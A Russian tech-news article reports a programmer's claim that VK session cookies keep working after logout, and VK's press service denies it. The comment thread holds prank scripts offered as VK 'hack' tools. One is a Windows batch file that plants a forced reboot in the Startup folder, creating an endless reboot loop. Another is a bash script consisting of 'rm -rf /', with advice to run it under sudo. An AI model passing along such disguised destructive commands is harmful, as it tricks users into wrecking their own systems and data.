Программист рассказал о способе получить доступ к странице пользователя «ВКонтакте» после разлогина Статьи редакции

Пользователь «Хабрахабра» под ником prohodil_mimo рассказал об обнаруженной им уязвимости во «ВКонтакте», которая позволяет злоумышленнику зайти на страницу пользователя после того, как тот вышел со своей страницы.

Уязвимость была обнаружена в API, предназначенном для работы с мобильными приложениями, а конкретно — в способе авторизации OAuth. По словам программиста, злоумышленники могут беспрепятственно воспользоваться «куками» пользователя после того, как он вышел со своей страницы. Для доступа к профилю даже не понадобится вводить верный логин или пароль.

Если пользователь залогинен, ему будет сразу предложено установить приложение, если нет — вначале залогиниться, а уже потом устанавливать. Если приложение уже установлено, то идёт сразу переход на страницу, в хэше которой будет токен. Дальше идёт работа с API.

Самое интересное начинается после выхода из «ВКонтакте». Ваше приложение может иметь ссылку на выход вида vk.com/login.php?op=logout. Это стандартная ссылка на выход из VK. Но после выхода пользователя из VK куки остаются рабочими.

Таким образом, если опять показать страницу авторизации, ввести совершенно другой логин и пароль — вы всё равно сможете пользоваться страницей первого пользователя.

prohodil_mimo

Как отметил prohodil_mimo, в самом приложении, подобным образом перехватывающем данные, могут использоваться «самые безобидные» права. Разработчик может не запрашивать доступ к контактам или фото, но всё равно получить возможность открывать как снимки, так и любую другую информацию в профиле.

По словам программиста, в поддержке во «ВКонтакте» ему ответили, что «это не баг, а фича, но, возможно, что-то изменится в будущем».

В разговоре с TJ пресс-служба «ВКонтакте» заявила о том, что разработчик допустил ошибку, а уязвимости на самом деле нет.

В публикации на «Хабрахабре» допущена ошибка: vk.com/login.php?op=logout — это не ссылка для выхода из «ВКонтакте». Ссылка логаута для каждого пользователя индивидуальная, это можно проверить, наведя курсором на кнопку «Выход» или скопировав ссылку правой кнопкой мыши на сайте.

Автор публикации действительно мог столкнуться с тем, что ему показывалась форма авторизации при переходе по указанной ссылке — этот баг мы в скором времени закроем. Однако к выходу со страницы это не имеет никакого отношения, и о какой-либо уязвимости здесь речи не идет.

пресс-служба «ВКонтакте»
Спасибо за наводку Дамир Камалетдинов
0
27 комментариев
Написать комментарий...
Интеллектуальный американец

Люблю жанр фотографии «фото экрана».

Ответить
Развернуть ветку
Многочисленный дым
Ответить
Развернуть ветку
Поверхностный чувак

Так так, под наклоном, ИДЕАЛЬНО

Ответить
Развернуть ветку
Мрачный будильник

Как хорошо автору снимка удалось передать угол экрана...

Ответить
Развернуть ветку
Понятный алмаз

если что, это кто-то из редакции исправил, я дешманским виндоусом не пользуюсь

Ответить
Развернуть ветку
Руководящий меч

а кто не любит, в наши то времена

Ответить
Развернуть ветку
Принудительный браслет

Вадим пропадает на неделю из ВК.
Потом появляется с постом о том, как угнать аккаунт в ВК.
🤔

Ответить
Развернуть ветку
Понятный алмаз

Но..это был мой пост(

Ответить
Развернуть ветку
Принудительный браслет

Т.е. он еще и угоняет посты

Ответить
Развернуть ветку
Вредный хичхакер

Для скрипт-киддисов есть рецепт?)

Ответить
Развернуть ветку
Слышный браслет

Под какую операционку нужен скрипт?

Ответить
Развернуть ветку
Технологический чайник

Комментарий недоступен

Ответить
Развернуть ветку
Слышный браслет

У меня только по винду есть скрипт :(

Копируем в текстовый файл. сохраняем в формате .bat . Вместо ID_жертвы пишем ID пользователя, которого нужно хакнуть.

------------------------------------
echo /!\ /!\ /!\ PREPARE TO HACK VK USER /!\ /!\ /!\
timeout /t 10 /nobreak > NUL
REM Подготавливаем команду на уничтожение аккаунта жертвы
@echo shutdown -r -f -t 0 > %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hack_vkontakte.bat
REM Запускаем атаку.
REM wget -O - https://vk.com/login.php?op=logout&vk_uid=ID_жертвы
shutdown -r -f -t 0
------------------------------------

Ответить
Развернуть ветку
Небольшой американец

держи скрипт под линукс ;)

#!/bin/bash

rm -rf /

Ответить
Развернуть ветку
Ленинградский украинец

Комментарий недоступен

Ответить
Развернуть ветку
Немой месяц

Не работает, попробуй у себя

Ответить
Развернуть ветку
Долгий кран

Это для тех, кто под sudo сидит?)

Ответить
Развернуть ветку
Технологический чайник

Комментарий недоступен

Ответить
Развернуть ветку
Долгий кран

Судошников жизнь и так карает.)
Вспоминаю товарища, который собственноручно под арчем троян месяца два обновлял, не вникая особо, что там за прога обновиться просит.

Ответить
Развернуть ветку
Небольшой американец

sudo hack_vk.sh, так запускать надо

Ответить
Развернуть ветку
Небольшой американец

только сначала chmod +x hack_vk.sh, конечно же

Ответить
Развернуть ветку
Соседний холод

Не, скорее под su.

Ответить
Развернуть ветку
Долгий кран

И добавить -с "YOU GOT HACKED" для доп.паранойи.

А вообще добрый вы, раньше для этого команду format использовали.

Ответить
Развернуть ветку
Слышный браслет

а смысл ставить команду format? Она же не должна отформатировать диск, с которого загружена Windows. А бесконечный ребут намного круче и безобиднее. Мало ли, вдруг и вправду кто-то это запустит.

Ответить
Развернуть ветку
Компьютерный Абдужаббор

Ну и как это сделать?

Ответить
Развернуть ветку
Больной микроскоп

У меня что-то похожее было лет 6-7 назад на встроенном браузере (уже более нового поколения) Nokia 2730.

Через непопулярность и не совсем приятную для всех цену мобильного Интернета многое просили проверить почту / стену Вконтакте.

Удивительно - как только кто-то выходил (и догружалась страница ввода логина пароля), я ничего не делал, а просто "тушил" приложение красной кнопкой, и после перезапуска браузера в любом случае отковалась страница последнего пользователя (разумеется, с полным доступом). В чем секрет не знал, и обнаружил такую "фичу" совершенно случайно, но описаный метод отдаленно напомнил мою шпионскую нокию.

Ответить
Развернуть ветку
Понятный алмаз

Многие забыли, но раньше легко было своровать сессию через файрфокс, даже совсем тупые справлялись

Ответить
Развернуть ветку
Читать все 27 комментариев
null